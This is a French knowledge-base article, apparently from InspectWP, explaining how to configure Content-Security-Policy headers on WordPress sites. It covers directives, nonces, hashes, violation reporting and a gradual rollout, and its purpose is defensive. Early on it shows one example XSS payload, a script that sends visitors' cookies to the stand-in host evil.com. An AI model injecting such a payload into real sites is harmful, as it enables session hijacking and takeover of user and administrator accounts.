La Content-Security-Policy (CSP) est un en-tête de réponse HTTP qui vous donne un contrôle fin sur les ressources que le navigateur est autorisé à charger sur votre page. Cela inclut les scripts, les feuilles de style, les images, les polices, les iframes et plus encore. La CSP est largement considérée comme l'une des défenses les plus efficaces contre les attaques de Cross-Site Scripting (XSS), qui restent parmi les vulnérabilités les plus courantes sur le web.
Si vous gérez un site WordPress, la CSP est particulièrement pertinente car les sites WordPress chargent généralement des ressources depuis de nombreuses sources différentes : votre propre serveur, des CDN, des fournisseurs d'analyse, des services de polices, des régies publicitaires et tout ce que vos extensions et votre thème intègrent. La CSP vous permet de définir précisément quelles sources sont autorisées.
Comment fonctionne une attaque de Cross-Site Scripting (XSS)
Pour comprendre pourquoi la CSP est importante, il est utile de voir ce qu'elle empêche. Voici un exemple concret de la façon dont une attaque XSS peut se produire sur un site WordPress :
Supposons que votre site dispose d'un formulaire de commentaire et que la désinfection des commentaires présente une faille (soit dans le cœur de WordPress, soit dans une extension, soit dans une fonction de thème personnalisée). Un attaquant soumet un commentaire contenant ce fragment :
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Si ce script est rendu sur la page sans échappement approprié, chaque visiteur qui consulte ce commentaire verra son navigateur exécuter ce code. Il envoie ses cookies de session au serveur de l'attaquant. Avec ces cookies, l'attaquant peut se connecter en tant que la victime, y compris en tant qu'administrateur si un administrateur consulte le commentaire.
Avec une CSP correctement configurée, cette attaque échoue. Le navigateur compare le script à la politique et constate que les scripts en ligne ne sont pas autorisés (sauf s'ils sont explicitement autorisés). Le script est bloqué, et le navigateur enregistre une violation au lieu d'exécuter le code.
Syntaxe de l'en-tête CSP et directives courantes
Un en-tête CSP est composé de directives, chacune spécifiant quelles sources sont autorisées pour un type particulier de ressource. Voici un exemple :
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.comDétaillons les directives les plus importantes :
default-src: la politique de repli pour tout type de ressource qui n'a pas sa propre directive. Si vous définissezdefault-src 'self', seules les ressources de votre propre domaine sont autorisées par défaut.script-src: contrôle quelles sources JavaScript sont autorisées. C'est la directive la plus critique pour la sécurité car les scripts ont un accès complet au DOM de la page et aux cookies.style-src: contrôle quelles sources CSS sont autorisées. Cela nécessite souvent'unsafe-inline'sur les sites WordPress car de nombreuses extensions et thèmes injectent des styles en ligne.img-src: contrôle quelles sources d'images sont autorisées. La valeurdata:permet les images base64 en ligne, que certaines extensions utilisent.font-src: contrôle d'où les polices peuvent être chargées. Si vous utilisez Google Fonts, vous devez autoriserhttps://fonts.gstatic.com.connect-src: contrôle quelles URL peuvent être atteintes via AJAX, l'API Fetch ou les connexions WebSocket. Important pour les sites utilisant des API REST ou des services externes.frame-src: contrôle quelles origines peuvent être intégrées dans des iframes sur votre page. Pertinent si vous intégrez des vidéos YouTube, Google Maps ou d'autres widgets tiers.frame-ancestors: contrôle quels sites peuvent intégrer votre page dans une iframe. C'est l'équivalent CSP de X-Frame-Options (voir KB-3).base-uri: restreint quelles URL peuvent être utilisées dans l'élément<base>. Définir cette valeur à'self'empêche les attaquants de modifier l'URL de base de votre page.form-action: restreint où les formulaires de votre page peuvent soumettre des données. Cela peut empêcher les attaques de phishing où un attaquant modifie l'URL cible d'un formulaire.
Autorisation de scripts par nonce ou par hash
Bloquer tous les scripts en ligne est l'approche idéale, mais parfois les scripts en ligne sont nécessaires. La CSP propose deux alternatives sécurisées à l'utilisation de 'unsafe-inline' :
L'autorisation par nonce fonctionne en générant un jeton aléatoire unique pour chaque chargement de page. Vous ajoutez ce nonce à la fois à l'en-tête CSP et aux balises script :
Content-Security-Policy: script-src 'nonce-abc123random'<script nonce="abc123random">
// Ce script s'exécutera car le nonce correspond
</script>Le nonce doit être différent à chaque chargement de page. Un attaquant qui injecte un script ne peut pas connaître le nonce actuel, donc son script est bloqué. Cette approche fonctionne bien lorsque vous contrôlez la sortie HTML et pouvez ajouter des nonces dynamiquement.
L'autorisation par hash utilise un hachage cryptographique du contenu du script :
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='Le navigateur calcule le hash de chaque script en ligne et le compare aux hash autorisés. C'est utile pour les scripts en ligne statiques qui ne changent pas entre les chargements de page.
Surveillance avec les directives de rapport CSP
La CSP inclut des capacités de rapport intégrées qui vous permettent de surveiller les violations sans casser votre site :
La directive report-uri (plus ancienne, toujours largement prise en charge) envoie les rapports de violation à un point d'accès spécifié :
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpointLa directive plus récente report-to fonctionne avec l'API Reporting et offre plus de flexibilité :
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://votresite.com/csp-reports"}]}Plusieurs services tiers comme Report URI, Sentry et Datadog peuvent collecter et visualiser les rapports CSP pour vous, ce qui est extrêmement utile lors du déploiement d'une nouvelle politique.
Tester avec Content-Security-Policy-Report-Only
C'est par là que la plupart des gens devraient commencer. L'en-tête Content-Security-Policy-Report-Only se comporte exactement comme l'en-tête CSP normal, mais au lieu de bloquer les violations, il les signale uniquement. Rien n'est réellement bloqué ; le navigateur enregistre simplement ce qui aurait été bloqué.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpointCela vous permet de voir précisément quelles ressources de votre site seraient affectées par une politique CSP avant de l'appliquer. Vous pouvez consulter la console du développeur du navigateur pour voir les messages de violation CSP, ou collecter des rapports structurés via les points d'accès de rapport.
Pourquoi la CSP est compliquée sur les sites WordPress
WordPress et la CSP entretiennent une relation compliquée. Le défi principal est que WordPress et son écosystème ont été conçus avant l'existence de la CSP, et de nombreux schémas courants entrent en conflit avec des politiques CSP strictes :
- Scripts en ligne : le cœur de WordPress, WooCommerce et de nombreuses extensions populaires injectent du JavaScript en ligne. Une politique
script-srcstricte sans'unsafe-inline'les cassera. - Styles en ligne : de nombreuses extensions et constructeurs de pages (Elementor, Divi, WPBakery) génèrent du CSS en ligne. Le Customizer injecte aussi des styles en ligne. Cela vous oblige souvent à utiliser
'unsafe-inline'pourstyle-src. - Utilisation d'eval() : certaines extensions utilisent
eval()ounew Function(), ce qui nécessite'unsafe-eval'dansscript-src. Cela affaiblit considérablement la protection. - Ressources tierces : les scripts d'analyse (Google Analytics, Matomo), les polices (Google Fonts), les CDN, les intégrations de réseaux sociaux et les scripts publicitaires doivent tous être explicitement autorisés.
- Mises à jour des extensions : une mise à jour d'extension peut soudainement charger des ressources depuis un nouveau domaine, cassant votre CSP sans avertissement.
Pour une mise en œuvre pratique de la CSP sur WordPress, la plupart des propriétaires de sites finissent par adopter une politique qui autorise 'unsafe-inline' pour les styles mais restreint les scripts et autres ressources autant que possible. C'est un compromis raisonnable qui offre tout de même une protection significative.
Étapes pratiques pour ajouter la CSP à WordPress
Voici une approche étape par étape qui fonctionne en pratique :
- Commencez avec
Content-Security-Policy-Report-Onlydéfini surdefault-src 'self'et un point d'accès de rapport. - Parcourez votre site en profondeur et examinez les rapports de violation. Notez chaque ressource bloquée.
- Ajoutez les domaines sources nécessaires à vos directives de politique un par un.
- Testez toutes les fonctionnalités critiques : connexion, paiement (si WooCommerce), formulaires, panneau d'administration.
- Une fois que la politique en mode rapport ne montre plus de violations en utilisation normale, passez à l'en-tête
Content-Security-Policyapplicatif. - Gardez le point d'accès de rapport actif même après l'application afin de détecter les nouvelles violations dues aux mises à jour d'extensions ou aux changements de contenu.
Ce que vérifie InspectWP
InspectWP vérifie si votre site envoie un en-tête Content-Security-Policy. S'il est absent, le rapport signale que votre site n'a pas de protection CSP contre les attaques XSS et autres attaques par injection. Si une politique est présente, InspectWP affiche la chaîne complète de la politique afin que vous puissiez l'examiner. Gardez à l'esprit qu'avoir un en-tête CSP avec des directives trop permissives (comme default-src * ou script-src 'unsafe-inline' 'unsafe-eval') n'offre que très peu de protection réelle.